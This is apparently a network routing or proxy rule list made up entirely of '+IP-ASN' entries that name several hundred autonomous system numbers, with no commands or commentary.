+IP-ASN, 36853 +IP-ASN, 396081 +IP-ASN, 11572 +IP-ASN, 10241 +IP-ASN, 10242 +IP-ASN, 396080 +IP-ASN, 36852 +IP-ASN, 36851 +IP-ASN, 11553 +IP-ASN, 36850 +IP-ASN, 11554 +IP-ASN, 396098 +IP-ASN, 396097 +IP-ASN, 22209 +IP-ASN, 11558 +IP-ASN, 22208 +IP-ASN, 60527 +IP-ASN, 23538 +IP-ASN, 46239 +IP-ASN, 22205 +IP-ASN, 23535 +IP-ASN, 22204 +IP-ASN, 46236 +IP-ASN, 22203 +IP-ASN, 46235 +IP-ASN, 46238 +IP-ASN, 22200 +IP-ASN, 23531 +IP-ASN, 46242 +IP-ASN, 23540 +IP-ASN, 46245 +IP-ASN, 46244 +IP-ASN, 46241 +IP-ASN, 396094 +IP-ASN, 36847 +IP-ASN, 396093 +IP-ASN, 396096 +IP-ASN, 36846 +IP-ASN, 396090 +IP-ASN, 36844 +IP-ASN, 36843 +IP-ASN, 11560 +IP-ASN, 36842 +IP-ASN, 396091 +IP-ASN, 11546 +IP-ASN, 23528 +IP-ASN, 11548 +IP-ASN, 23527 +IP-ASN, 23526 +IP-ASN, 60558 +IP-ASN, 23525 +IP-ASN, 46246 +IP-ASN, 23522 +IP-ASN, 46249 +IP-ASN, 23521 +IP-ASN, 23520 +IP-ASN, 46248 +IP-ASN, 46254 +IP-ASN, 46253 +IP-ASN, 46256 +IP-ASN, 46255 +IP-ASN, 46252 +IP-ASN, 36838 +IP-ASN, 46251 +IP-ASN, 36835 +IP-ASN, 36833 +IP-ASN, 35501 +IP-ASN, 11550 +IP-ASN, 36831 +IP-ASN, 11534 +IP-ASN, 11536 +IP-ASN, 11537 +IP-ASN, 23517 +IP-ASN, 23516 +IP-ASN, 23515 +IP-ASN, 23514 +IP-ASN, 23513 +IP-ASN, 46258 +IP-ASN, 23512 +IP-ASN, 46259 +IP-ASN, 46264 +IP-ASN, 46266 +IP-ASN, 46261 +IP-ASN, 36829 +IP-ASN, 46263 +IP-ASN, 46262 +IP-ASN, 36827 +IP-ASN, 36825 +IP-ASN, 36824 +IP-ASN, 36823 +IP-ASN, 36822 +IP-ASN, 36820 +IP-ASN, 11540 +IP-ASN, 11520 +IP-ASN, 11521 +IP-ASN, 23509 +IP-ASN, 11523 +IP-ASN, 11524 +IP-ASN, 23508 +IP-ASN, 11525 +IP-ASN, 23507 +IP-ASN, 11528 +IP-ASN, 23503 +IP-ASN, 23502 +IP-ASN, 46269 +IP-ASN, 23500 +IP-ASN, 46276 +IP-ASN, 46275 +IP-ASN, 46277 +IP-ASN, 36819 +IP-ASN, 46274 +IP-ASN, 46273 +IP-ASN, 36815 +IP-ASN, 36814 +IP-ASN, 36813 +IP-ASN, 36812 +IP-ASN, 36811 +IP-ASN, 11511 +IP-ASN, 11512 +IP-ASN, 11516 +IP-ASN, 11517 +IP-ASN, 46279 +IP-ASN, 46287 +IP-ASN, 46286 +IP-ASN, 46289 +IP-ASN, 46288 +IP-ASN, 36809 +IP-ASN, 36808 +IP-ASN, 46283 +IP-ASN, 46282 +IP-ASN, 36807 +IP-ASN, 36803 +IP-ASN, 46281 +IP-ASN, 36801 +IP-ASN, 397312 +IP-ASN, 398644 +IP-ASN, 397311 +IP-ASN, 399976 +IP-ASN, 398645 +IP-ASN, 398642 +IP-ASN, 397314 +IP-ASN, 398643 +IP-ASN, 399971 +IP-ASN, 399972 +IP-ASN, 398641 +IP-ASN, 399970 +IP-ASN, 399979 +IP-ASN, 397316 +IP-ASN, 397318 +IP-ASN, 397323 +IP-ASN, 398655 +IP-ASN, 399986 +IP-ASN, 399987 +IP-ASN, 397325 +IP-ASN, 399985 +IP-ASN, 397324 +IP-ASN, 399983 +IP-ASN, 399980 +IP-ASN, 399981 +IP-ASN, 397327 +IP-ASN, 397326 +IP-ASN, 399988 +IP-ASN, 397329 +IP-ASN, 397328 +IP-ASN, 399989 +IP-ASN, 399997 +IP-ASN, 397334 +IP-ASN, 396002 +IP-ASN, 399998 +IP-ASN, 398667 +IP-ASN, 397333 +IP-ASN, 397336 +IP-ASN, 398665 +IP-ASN, 396004 +IP-ASN, 397330 +IP-ASN, 398663 +IP-ASN, 48806 +IP-ASN, 396001 +IP-ASN, 397332 +IP-ASN, 396000 +IP-ASN, 397331 +IP-ASN, 399992 +IP-ASN, 397338 +IP-ASN, 397337 +IP-ASN, 396006 +IP-ASN, 398668 +IP-ASN, 399999 +IP-ASN, 22299 +IP-ASN, 399990 +IP-ASN, 396014 +IP-ASN, 397345 +IP-ASN, 396013 +IP-ASN, 396016 +IP-ASN, 397347 +IP-ASN, 397346 +IP-ASN, 396010 +IP-ASN, 397341 +IP-ASN, 397340 +IP-ASN, 396012 +IP-ASN, 397342 +IP-ASN, 396011 +IP-ASN, 48818 +IP-ASN, 396018 +IP-ASN, 397349 +IP-ASN, 397348 +IP-ASN, 396017 +IP-ASN, 22289 +IP-ASN, 396019 +IP-ASN, 22288 +IP-ASN, 22298 +IP-ASN, 22297 +IP-ASN, 22296 +IP-ASN, 22295 +IP-ASN, 22294 +IP-ASN, 22293 +IP-ASN, 22291 +IP-ASN, 22290 +IP-ASN, 398670 +IP-ASN, 10298 +IP-ASN, 396024 +IP-ASN, 396027 +IP-ASN, 396026 +IP-ASN, 397357 +IP-ASN, 396021 +IP-ASN, 397352 +IP-ASN, 396020 +IP-ASN, 397351 +IP-ASN, 397354 +IP-ASN, 396023 +IP-ASN, 397353 +IP-ASN, 396029 +IP-ASN, 396028 +IP-ASN, 22284 +IP-ASN, 22283 +IP-ASN, 22282 +IP-ASN, 22280 +IP-ASN, 8232 +IP-ASN, 398699 +IP-ASN, 397367 +IP-ASN, 396036 +IP-ASN, 396035 +IP-ASN, 397369 +IP-ASN, 398698 +IP-ASN, 397368 +IP-ASN, 396032 +IP-ASN, 396031 +IP-ASN, 397362 +IP-ASN, 396034 +IP-ASN, 397365 +IP-ASN, 396033 +IP-ASN, 397364 +IP-ASN, 22268 +IP-ASN, 396039 +IP-ASN, 22266 +IP-ASN, 22276 +IP-ASN, 22275 +IP-ASN, 22274 +IP-ASN, 22273 +IP-ASN, 22272 +IP-ASN, 22271 +IP-ASN, 22270 +IP-ASN, 397361 +IP-ASN, 396030 +IP-ASN, 397360 +IP-ASN, 10294 +IP-ASN, 10297 +IP-ASN, 397378 +IP-ASN, 396046 +IP-ASN, 397377 +IP-ASN, 396049 +IP-ASN, 397379 +IP-ASN, 10279 +IP-ASN, 397374 +IP-ASN, 397373 +IP-ASN, 396042 +IP-ASN, 397376 +IP-ASN, 396044 +IP-ASN, 22259 +IP-ASN, 22258 +IP-ASN, 22255 +IP-ASN, 22265 +IP-ASN, 22263 +IP-ASN, 22262 +IP-ASN, 22261 +IP-ASN, 22260 +IP-ASN, 397370 +IP-ASN, 396041 +IP-ASN, 10282 +IP-ASN, 396040 +IP-ASN, 397371 +IP-ASN, 11596 +IP-ASN, 397389 +IP-ASN, 11597 +IP-ASN, 396057 +IP-ASN, 397388 +IP-ASN, 11598 +IP-ASN, 396059 +IP-ASN, 396054 +IP-ASN, 397384 +IP-ASN, 396053 +IP-ASN, 396056 +IP-ASN, 22249 +IP-ASN, 22247 +IP-ASN, 22246 +IP-ASN, 22245 +IP-ASN, 22244 +IP-ASN, 22253 +IP-ASN, 46201 +IP-ASN, 22252 +IP-ASN, 22251 +IP-ASN, 46200 +IP-ASN, 397380 +IP-ASN, 396052 +IP-ASN, 10271 +IP-ASN, 396051 +IP-ASN, 10273 +IP-ASN, 200766 +IP-ASN, 398700 +IP-ASN, 151363 +IP-ASN, 398707 +IP-ASN, 398705 +IP-ASN, 200731 +IP-ASN, 398703 +IP-ASN, 398704 +IP-ASN, 398701 +IP-ASN, 398702 +IP-ASN, 199344 +IP-ASN, 398710 +IP-ASN, 398711 +IP-ASN, 398719 +IP-ASN, 398714 +IP-ASN, 398712 +IP-ASN, 212716 +IP-ASN, 198005 +IP-ASN, 398722 +IP-ASN, 398728 +IP-ASN, 398725 +IP-ASN, 398726 +IP-ASN, 398724 +IP-ASN, 397400 +IP-ASN, 398732 +IP-ASN, 398733 +IP-ASN, 397402 +IP-ASN, 398731 +IP-ASN, 397401 +IP-ASN, 397409 +IP-ASN, 397404 +IP-ASN, 398736 +IP-ASN, 397406 +IP-ASN, 397405 +IP-ASN, 398743 +IP-ASN, 397411 +IP-ASN, 397410 +IP-ASN, 398741 +IP-ASN, 397413 +IP-ASN, 397412 +IP-ASN, 397419 +IP-ASN, 397418 +IP-ASN, 397415 +IP-ASN, 397414 +IP-ASN, 398748 +IP-ASN, 398745 +IP-ASN, 397417 +IP-ASN, 398746 +IP-ASN, 398754 +IP-ASN, 397422 +IP-ASN, 398755 +IP-ASN, 398752 +IP-ASN, 397424 +IP-ASN, 397423 +IP-ASN, 398750 +IP-ASN, 398751 +IP-ASN, 397429 +IP-ASN, 398758 +IP-ASN, 397426 +IP-ASN, 397425 +IP-ASN, 398759 +IP-ASN, 398756 +IP-ASN, 397427 +IP-ASN, 398757 +IP-ASN, 11500 +IP-ASN, 11501 +IP-ASN, 11505 +IP-ASN, 11506 +IP-ASN, 209177 +IP-ASN, 11509 +IP-ASN, 46169 +IP-ASN, 46179 +IP-ASN, 46178 +IP-ASN, 46175 +IP-ASN, 46171 +IP-ASN, 46188 +IP-ASN, 46187 +IP-ASN, 139660 +IP-ASN, 46183 +IP-ASN, 46186 +IP-ASN, 46185 +IP-ASN, 46182 +IP-ASN, 46181 +IP-ASN, 46194 +IP-ASN, 46197 +IP-ASN, 46196 +IP-ASN, 46191 +IP-ASN, 46190 +IP-ASN, 46193 +IP-ASN, 46192 +IP-ASN, 210137 +IP-ASN, 200775 +IP-ASN, 139682 +IP-ASN, 36763 +IP-ASN, 11465 +IP-ASN, 36762 +IP-ASN, 396189 +IP-ASN, 36761 +IP-ASN, 11466 +IP-ASN, 36760 +IP-ASN, 396185 +IP-ASN, 396188 +IP-ASN, 22119 +IP-ASN, 22116 +IP-ASN, 23447 +IP-ASN, 22115 +IP-ASN, 23446 +IP-ASN, 23444 +IP-ASN, 23453 +IP-ASN, 22121 +IP-ASN, 23452 +IP-ASN, 22120 +IP-ASN, 396182 +IP-ASN, 396181 +IP-ASN, 36758 +IP-ASN, 396184 +IP-ASN, 11470 +IP-ASN, 11471 +IP-ASN, 11472 +IP-ASN, 36755 +IP-ASN, 11473 +IP-ASN, 36752 +IP-ASN, 11455 +IP-ASN, 11457 +IP-ASN, 11458 +IP-ASN, 396199 +IP-ASN, 22109 +IP-ASN, 23439 +IP-ASN, 22107 +IP-ASN, 23438 +IP-ASN, 22106 +IP-ASN, 23436 +IP-ASN, 22104 +IP-ASN, 23435 +IP-ASN, 22103 +IP-ASN, 23434 +IP-ASN, 23433 +IP-ASN, 22101 +IP-ASN, 23442 +IP-ASN, 22111 +IP-ASN, 22110 +IP-ASN, 23441 +IP-ASN, 396193 +IP-ASN, 36748 +IP-ASN, 36746 +IP-ASN, 396194 +IP-ASN, 36745 +IP-ASN, 396191 +IP-ASN, 11462 +IP-ASN, 396190 +IP-ASN, 36742 +IP-ASN, 11463 +IP-ASN, 36741 +IP-ASN, 11442 +IP-ASN, 36740 +IP-ASN, 11444 +IP-ASN, 11446 +IP-ASN, 11448 +IP-ASN, 11449 +IP-ASN, 23428 +IP-ASN, 46108 +IP-ASN, 46107 +IP-ASN, 23427 +IP-ASN, 46109 +IP-ASN, 23425 +IP-ASN, 46104 +IP-ASN, 23423 +IP-ASN, 46103 +IP-ASN, 23422 +IP-ASN, 46106 +IP-ASN, 23431 +IP-ASN, 46111 +IP-ASN, 46110 +IP-ASN, 36739 +IP-ASN, 36738 +IP-ASN, 36737 +IP-ASN, 36736 +IP-ASN, 36734 +IP-ASN, 36733 +IP-ASN, 36732 +IP-ASN, 11452 +IP-ASN, 36730 +IP-ASN, 11437 +IP-ASN, 11438 +IP-ASN, 46119 +IP-ASN, 46118 +IP-ASN, 23415 +IP-ASN, 23414 +IP-ASN, 23413 +IP-ASN, 46115 +IP-ASN, 23411 +IP-ASN, 23410 +IP-ASN, 46116 +IP-ASN, 23420 +IP-ASN, 46122 +IP-ASN, 46121 +IP-ASN, 46124 +IP-ASN, 46123 +IP-ASN, 46120 +IP-ASN, 36729 +IP-ASN, 36728 +IP-ASN, 36726 +IP-ASN, 36724 +IP-ASN, 36723 +IP-ASN, 36721 +IP-ASN, 11440 +IP-ASN, 36720 +IP-ASN, 11441 +IP-ASN, 11420 +IP-ASN, 23409 +IP-ASN, 11425 +IP-ASN, 11426 +IP-ASN, 23408 +IP-ASN, 11427 +IP-ASN, 23406 +IP-ASN, 11428 +IP-ASN, 23404 +IP-ASN, 23403 +IP-ASN, 23402 +IP-ASN, 23400 +IP-ASN, 46127 +IP-ASN, 46133 +IP-ASN, 46132 +IP-ASN, 46134 +IP-ASN, 36719 +IP-ASN, 46131 +IP-ASN, 46130 +IP-ASN, 36717 +IP-ASN, 36716 +IP-ASN, 36715 +IP-ASN, 36714 +IP-ASN, 36712 +IP-ASN, 36711 +IP-ASN, 36710 +IP-ASN, 11430 +IP-ASN, 11414 +IP-ASN, 11417 +IP-ASN, 46137 +IP-ASN, 46139 +IP-ASN, 46138 +IP-ASN, 46143 +IP-ASN, 46146 +IP-ASN, 46145 +IP-ASN, 36709 +IP-ASN, 46140 +IP-ASN, 36708 +IP-ASN, 46142 +IP-ASN, 36707 +IP-ASN, 36706 +IP-ASN, 46141 +IP-ASN, 36704 +IP-ASN, 36703 +IP-ASN, 36701 +IP-ASN, 11402 +IP-ASN, 11403 +IP-ASN, 11404 +IP-ASN, 11406 +IP-ASN, 11407 +IP-ASN, 11408 +IP-ASN, 11409 +IP-ASN, 46147 +IP-ASN, 46149 +IP-ASN, 46155 +IP-ASN, 46154 +IP-ASN, 46150 +IP-ASN, 46153 +IP-ASN, 46152 +IP-ASN, 46159 +IP-ASN, 46158 +IP-ASN, 46166 +IP-ASN, 46165 +IP-ASN, 46168 +IP-ASN, 46167 +IP-ASN, 46164 +IP-ASN, 46163 +IP-ASN, 46160 +IP-ASN, 211387 +IP-ASN, 398765 +IP-ASN, 396102 +IP-ASN, 398766 +IP-ASN, 397432 +IP-ASN, 396101 +IP-ASN, 396104 +IP-ASN, 397434 +IP-ASN, 396103 +IP-ASN, 397430 +IP-ASN, 398760 +IP-ASN, 396109 +IP-ASN, 396106 +IP-ASN, 397436 +IP-ASN, 398767 +IP-ASN, 396107 +IP-ASN, 7060 +IP-ASN, 7068 +IP-ASN, 7065 +IP-ASN, 7064 +IP-ASN, 397444 +IP-ASN, 398777 +IP-ASN, 397443 +IP-ASN, 396112 +IP-ASN, 397446 +IP-ASN, 398774 +IP-ASN, 396115 +IP-ASN, 397445 +IP-ASN, 398772 +IP-ASN, 397440 +IP-ASN, 397442 +IP-ASN, 398771 +IP-ASN, 396117 +IP-ASN, 397448 +IP-ASN, 396116 +IP-ASN, 398778 +IP-ASN, 396119 +IP-ASN, 398779 +IP-ASN, 397449 +IP-ASN, 22198 +IP-ASN, 22197 +IP-ASN, 7070 +IP-ASN, 22196 +IP-ASN, 22192 +IP-ASN, 22191 +IP-ASN, 7078 +IP-ASN, 397455 +IP-ASN, 396123 +IP-ASN, 398788 +IP-ASN, 397457 +IP-ASN, 398785 +IP-ASN, 199184 +IP-ASN, 398786 +IP-ASN, 397451 +IP-ASN, 398783 +IP-ASN, 397450 +IP-ASN, 396122 +IP-ASN, 397453 +IP-ASN, 398781 +IP-ASN, 396121 +IP-ASN, 397452 +IP-ASN, 396128 +IP-ASN, 397458 +IP-ASN, 396127 +IP-ASN, 22179 +IP-ASN, 22178 +IP-ASN, 22188 +IP-ASN, 22187 +IP-ASN, 22186 +IP-ASN, 22184 +IP-ASN, 22182 +IP-ASN, 22181 +IP-ASN, 22180 +IP-ASN, 398780 +IP-ASN, 7089 +IP-ASN, 7086 +IP-ASN, 396135 +IP-ASN, 35487 +IP-ASN, 396137 +IP-ASN, 398797 +IP-ASN, 396136 +IP-ASN, 397462 +IP-ASN, 396131 +IP-ASN, 397461 +IP-ASN, 396130 +IP-ASN, 398795 +IP-ASN, 396133 +IP-ASN, 397463 +IP-ASN, 22169 +IP-ASN, 22168 +IP-ASN, 23499 +IP-ASN, 22174 +IP-ASN, 7091 +IP-ASN, 22172 +IP-ASN, 22171 +IP-ASN, 398791 +IP-ASN, 397460 +IP-ASN, 396146 +IP-ASN, 397477 +IP-ASN, 396145 +IP-ASN, 397476 +IP-ASN, 396148 +IP-ASN, 7029 +IP-ASN, 397473 +IP-ASN, 396141 +IP-ASN, 397472 +IP-ASN, 397475 +IP-ASN, 23489 +IP-ASN, 22157 +IP-ASN, 22156 +IP-ASN, 23497 +IP-ASN, 23496 +IP-ASN, 22164 +IP-ASN, 23494 +IP-ASN, 22163 +IP-ASN, 23493 +IP-ASN, 23492 +IP-ASN, 22160 +IP-ASN, 23490 +IP-ASN, 7024 +IP-ASN, 7021 +IP-ASN, 36799 +IP-ASN, 36798 +IP-ASN, 36797 +IP-ASN, 397488 +IP-ASN, 396157 +IP-ASN, 36796 +IP-ASN, 397487 +IP-ASN, 11499 +IP-ASN, 36794 +IP-ASN, 397489 +IP-ASN, 396158 +IP-ASN, 36791 +IP-ASN, 396152 +IP-ASN, 397486 +IP-ASN, 396155 +IP-ASN, 22149 +IP-ASN, 23479 +IP-ASN, 23478 +IP-ASN, 22147 +IP-ASN, 23477 +IP-ASN, 23476 +IP-ASN, 23486 +IP-ASN, 22155 +IP-ASN, 22154 +IP-ASN, 23484 +IP-ASN, 22153 +IP-ASN, 23483 +IP-ASN, 22151 +IP-ASN, 23482 +IP-ASN, 23481 +IP-ASN, 22150 +IP-ASN, 397480 +IP-ASN, 7034 +IP-ASN, 396151 +IP-ASN, 36788 +IP-ASN, 7030 +IP-ASN, 36787 +IP-ASN, 396168 +IP-ASN, 11486 +IP-ASN, 396167 +IP-ASN, 397498 +IP-ASN, 11488 +IP-ASN, 36783 +IP-ASN, 396169 +IP-ASN, 36782 +IP-ASN, 397495 +IP-ASN, 396164 +IP-ASN, 397494 +IP-ASN, 396163 +IP-ASN, 36780 +IP-ASN, 397497 +IP-ASN, 397496 +IP-ASN, 396165 +IP-ASN, 22139 +IP-ASN, 22138 +IP-ASN, 23469 +IP-ASN, 22137 +IP-ASN, 22136 +IP-ASN, 23467 +IP-ASN, 22135 +IP-ASN, 23465 +IP-ASN, 22134 +IP-ASN, 23474 +IP-ASN, 23473 +IP-ASN, 22142 +IP-ASN, 23472 +IP-ASN, 22140 +IP-ASN, 23470 +IP-ASN, 397491 +IP-ASN, 396160 +IP-ASN, 11490 +IP-ASN, 396162 +IP-ASN, 7045 +IP-ASN, 397493 +IP-ASN, 11491 +IP-ASN, 11492 +IP-ASN, 7046 +IP-ASN, 36779 +IP-ASN, 396161 +IP-ASN, 397492 +IP-ASN, 11493 +IP-ASN, 11494 +IP-ASN, 36776 +IP-ASN, 11495 +IP-ASN, 11496 +IP-ASN, 11475 +IP-ASN, 396179 +IP-ASN, 36774 +IP-ASN, 11476 +IP-ASN, 36772 +IP-ASN, 11477 +IP-ASN, 11479 +IP-ASN, 396175 +IP-ASN, 396174 +IP-ASN, 396177 +IP-ASN, 396176 +IP-ASN, 23459 +IP-ASN, 22127 +IP-ASN, 23458 +IP-ASN, 22125 +IP-ASN, 22124 +IP-ASN, 22123 +IP-ASN, 7050 +IP-ASN, 48741 +IP-ASN, 22132 +IP-ASN, 23463 +IP-ASN, 23462 +IP-ASN, 22130 +IP-ASN, 36769 +IP-ASN, 396173 +IP-ASN, 11481 +IP-ASN, 36768 +IP-ASN, 7054 +IP-ASN, 11482 +IP-ASN, 36767 +IP-ASN, 7055 +IP-ASN, 11483 +IP-ASN, 36766 +IP-ASN, 36765 +IP-ASN, 36764 +IP-ASN, 398806 +IP-ASN, 398805 +IP-ASN, 398802 +IP-ASN, 398800 +IP-ASN, 398801 +IP-ASN, 398810 +IP-ASN, 398818 +IP-ASN, 398816 +IP-ASN, 398813 +IP-ASN, 398814 +IP-ASN, 398811 +IP-ASN, 398808 +IP-ASN, 398809 +IP-ASN, 398820 +IP-ASN, 398828 +IP-ASN, 398829 +IP-ASN, 398826 +IP-ASN, 398822 +IP-ASN, 398823 +IP-ASN, 7001 +IP-ASN, 7000 +IP-ASN, 398832 +IP-ASN, 397501 +IP-ASN, 398830 +IP-ASN, 7018 +IP-ASN, 7019 +IP-ASN, 7016 +IP-ASN, 398837 +IP-ASN, 397509 +IP-ASN, 397508 +IP-ASN, 398838 +IP-ASN, 398835 +IP-ASN, 397503 +IP-ASN, 398836 +IP-ASN, 397502 +IP-ASN, 397504 +IP-ASN, 7014 +IP-ASN, 7015 +IP-ASN, 7013 +IP-ASN, 7011 +IP-ASN, 397510 +IP-ASN, 398843 +IP-ASN, 397512 +IP-ASN, 398841 +IP-ASN, 397511 +IP-ASN, 397518 +IP-ASN, 397517 +IP-ASN, 397519 +IP-ASN, 398849 +IP-ASN, 398846 +IP-ASN, 397514 +IP-ASN, 397513 +IP-ASN, 398847 +IP-ASN, 397516 +IP-ASN, 398844 +IP-ASN, 398845 +IP-ASN, 397515 +IP-ASN, 397521 +IP-ASN, 397520 +IP-ASN, 398854 +IP-ASN, 397523 +IP-ASN, 398852 +IP-ASN, 397522 +IP-ASN, 398850 +IP-ASN, 397525 +IP-ASN, 397527 +IP-ASN, 398856 +IP-ASN, 397526 +IP-ASN, 396201 +IP-ASN, 397531 +IP-ASN, 396203 +IP-ASN, 397534 +IP-ASN, 398863 +IP-ASN, 397533 +IP-ASN, 396202 +IP-ASN, 397530 +IP-ASN, 396209 +IP-ASN, 396208 +IP-ASN, 396205 +IP-ASN, 397536 +IP-ASN, 397535 +IP-ASN, 396204 +IP-ASN, 398869 +IP-ASN, 398866 +IP-ASN, 396207 +IP-ASN, 396206 +IP-ASN, 398867 +IP-ASN, 397537 +IP-ASN, 398875 +IP-ASN, 396212 +IP-ASN, 396211 +IP-ASN, 398876 +IP-ASN, 398873 +IP-ASN, 396214 +IP-ASN, 398874 +IP-ASN, 396213 +IP-ASN, 398871 +IP-ASN, 396210 +IP-ASN, 396219 +IP-ASN, 398879 +IP-ASN, 396215 +IP-ASN, 397549 +IP-ASN, 396218 +IP-ASN, 398878 +IP-ASN, 22098 +IP-ASN, 22097 +IP-ASN, 22093 +IP-ASN, 211369 +IP-ASN, 60379 +IP-ASN, 200690 +IP-ASN, 46089 +IP-ASN, 46085 +IP-ASN, 46084 +IP-ASN, 46087 +IP-ASN, 46086 +IP-ASN, 46081 +IP-ASN, 46080 +IP-ASN, 210015 +IP-ASN, 46083 +IP-ASN, 46082 +IP-ASN, 46099 +IP-ASN, 46097 +IP-ASN, 46092 +IP-ASN, 46094 +IP-ASN, 46093 +IP-ASN, 46090 +IP-ASN, 209006 +IP-ASN, 11343 +IP-ASN, 36640 +IP-ASN, 11345 +IP-ASN, 11346 +IP-ASN, 11347 +IP-ASN, 11348 +IP-ASN, 23329 +IP-ASN, 23328 +IP-ASN, 62935 +IP-ASN, 25990 +IP-ASN, 62934 +IP-ASN, 25991 +IP-ASN, 23325 +IP-ASN, 62933 +IP-ASN, 62932 +IP-ASN, 25992 +IP-ASN, 25993 +IP-ASN, 23323 +IP-ASN, 23322 +IP-ASN, 22001 +IP-ASN, 25984 +IP-ASN, 25985 +IP-ASN, 23331 +IP-ASN, 25987 +IP-ASN, 25989 +IP-ASN, 62938 +IP-ASN, 36638 +IP-ASN, 36637 +IP-ASN, 36636 +IP-ASN, 11350 +IP-ASN, 11351 +IP-ASN, 36634 +IP-ASN, 11352 +IP-ASN, 11353 +IP-ASN, 13995 +IP-ASN, 36631 +IP-ASN, 11332 +IP-ASN, 11333 +IP-ASN, 13994 +IP-ASN, 36630 +IP-ASN, 11334 +IP-ASN, 13997 +IP-ASN, 13996 +IP-ASN, 11336 +IP-ASN, 13998 +IP-ASN, 11337 +IP-ASN, 23319 +IP-ASN, 23318 +IP-ASN, 23317 +IP-ASN, 62925 +IP-ASN, 23316 +IP-ASN, 62924 +IP-ASN, 62923 +IP-ASN, 23314 +IP-ASN, 25980 +IP-ASN, 25981 +IP-ASN, 62920 +IP-ASN, 23312 +IP-ASN, 25973 +IP-ASN, 25974 +IP-ASN, 25975 +IP-ASN, 25977 +IP-ASN, 62929 +IP-ASN, 25978 +IP-ASN, 62928 +IP-ASN, 25979 +IP-ASN, 36625 +IP-ASN, 36624 +IP-ASN, 36623 +IP-ASN, 13984 +IP-ASN, 62951 +IP-ASN, 13983 +IP-ASN, 11322 +IP-ASN, 11323 +IP-ASN, 13986 +IP-ASN, 13985 +IP-ASN, 11324 +IP-ASN, 11325 +IP-ASN, 11326 +IP-ASN, 23309 +IP-ASN, 11327 +IP-ASN, 23308 +IP-ASN, 11328 +IP-ASN, 62959 +IP-ASN, 62958 +IP-ASN, 23306 +IP-ASN, 62957 +IP-ASN, 23305 +IP-ASN, 23304 +IP-ASN, 62955 +IP-ASN, 23303 +IP-ASN, 62954 +IP-ASN, 25970 +IP-ASN, 23302 +IP-ASN, 62953 +IP-ASN, 25971 +IP-ASN, 23301 +IP-ASN, 49975 +IP-ASN, 47316 +IP-ASN, 62952 +IP-ASN, 25972 +IP-ASN, 23310 +IP-ASN, 25963 +IP-ASN, 25964 +IP-ASN, 25965 +IP-ASN, 25966 +IP-ASN, 25967 +IP-ASN, 25968 +IP-ASN, 25969 +IP-ASN, 36618 +IP-ASN, 36617 +IP-ASN, 36614 +IP-ASN, 36613 +IP-ASN, 13990 +IP-ASN, 36612 +IP-ASN, 13993 +IP-ASN, 11330 +IP-ASN, 36610 +IP-ASN, 13992 +IP-ASN, 13972 +IP-ASN, 11312 +IP-ASN, 13975 +IP-ASN, 11313 +IP-ASN, 13977 +IP-ASN, 13976 +IP-ASN, 13979 +IP-ASN, 11317 +IP-ASN, 13978 +IP-ASN, 11318 +IP-ASN, 62948 +IP-ASN, 11319 +IP-ASN, 62945 +IP-ASN, 62944 +IP-ASN, 62943 +IP-ASN, 25960 +IP-ASN, 62942 +IP-ASN, 25961 +IP-ASN, 25951 +IP-ASN, 25952 +IP-ASN, 25955 +IP-ASN, 25956 +IP-ASN, 62949 +IP-ASN, 25958 +IP-ASN, 36607 +IP-ASN, 37935 +IP-ASN, 36603 +IP-ASN, 36602 +IP-ASN, 13980 +IP-ASN, 36601 +IP-ASN, 36600 +IP-ASN, 13982 +IP-ASN, 11320 +IP-ASN, 62973 +IP-ASN, 11300 +IP-ASN, 62971 +IP-ASN, 11302 +IP-ASN, 13963 +IP-ASN, 13965 +IP-ASN, 11304 +IP-ASN, 13968 +IP-ASN, 13967 +IP-ASN, 11307 +IP-ASN, 13969 +IP-ASN, 11308 +IP-ASN, 11309 +IP-ASN, 62978 +IP-ASN, 62977 +IP-ASN, 62976 +IP-ASN, 62975 +IP-ASN, 62974 +IP-ASN, 25950 +IP-ASN, 25940 +IP-ASN, 25941 +IP-ASN, 25943 +IP-ASN, 25944 +IP-ASN, 13971 +IP-ASN, 13951 +IP-ASN, 62961 +IP-ASN, 13950 +IP-ASN, 13953 +IP-ASN, 13952 +IP-ASN, 13955 +IP-ASN, 13954 +IP-ASN, 13957 +IP-ASN, 13956 +IP-ASN, 13959 +IP-ASN, 13958 +IP-ASN, 62968 +IP-ASN, 62966 +IP-ASN, 62965 +IP-ASN, 62964 +IP-ASN, 25930 +IP-ASN, 25931 +IP-ASN, 25932 +IP-ASN, 25934 +IP-ASN, 25935 +IP-ASN, 25936 +IP-ASN, 25937 +IP-ASN, 25938 +IP-ASN, 62995 +IP-ASN, 13940 +IP-ASN, 62994 +IP-ASN, 62992 +IP-ASN, 62991 +IP-ASN, 13943 +IP-ASN, 62990 +IP-ASN, 13945 +IP-ASN, 62999 +IP-ASN, 62997 +IP-ASN, 62996 +IP-ASN, 25920 +IP-ASN, 25921 +IP-ASN, 25922 +IP-ASN, 25923 +IP-ASN, 25924 +IP-ASN, 25928 +IP-ASN, 25929 +IP-ASN, 62983 +IP-ASN, 13931 +IP-ASN, 13930 +IP-ASN, 13932 +IP-ASN, 13938 +IP-ASN, 62989 +IP-ASN, 62988 +IP-ASN, 25910 +IP-ASN, 25913 +IP-ASN, 25915 +IP-ASN, 25916 +IP-ASN, 25917 +IP-ASN, 25918 +IP-ASN, 397554 +IP-ASN, 398886 +IP-ASN, 396222 +IP-ASN, 397556 +IP-ASN, 398885 +IP-ASN, 396224 +IP-ASN, 397555 +IP-ASN, 397550 +IP-ASN, 398882 +IP-ASN, 398883 +IP-ASN, 398880 +IP-ASN, 397552 +IP-ASN, 397551 +IP-ASN, 396220 +IP-ASN, 398881 +IP-ASN, 396226 +IP-ASN, 396229 +IP-ASN, 398888 +IP-ASN, 22079 +IP-ASN, 22089 +IP-ASN, 22088 +IP-ASN, 7183 +IP-ASN, 22087 +IP-ASN, 7181 +IP-ASN, 22084 +IP-ASN, 22083 +IP-ASN, 22081 +IP-ASN, 396234 +IP-ASN, 396233 +IP-ASN, 397567 +IP-ASN, 398895 +IP-ASN, 396236 +IP-ASN, 398896 +IP-ASN, 396235 +IP-ASN, 396230 +IP-ASN, 398894 +IP-ASN, 397560 +IP-ASN, 397563 +IP-ASN, 397562 +IP-ASN, 396231 +IP-ASN, 396238 +IP-ASN, 397568 +IP-ASN, 398899 +IP-ASN, 23399 +IP-ASN, 22068 +IP-ASN, 22077 +IP-ASN, 7194 +IP-ASN, 22076 +IP-ASN, 7191 +IP-ASN, 22075 +IP-ASN, 22073 +IP-ASN, 22071 +IP-ASN, 22070 +IP-ASN, 396245 +IP-ASN, 397575 +IP-ASN, 396247 +IP-ASN, 396241 +IP-ASN, 397572 +IP-ASN, 397571 +IP-ASN, 396240 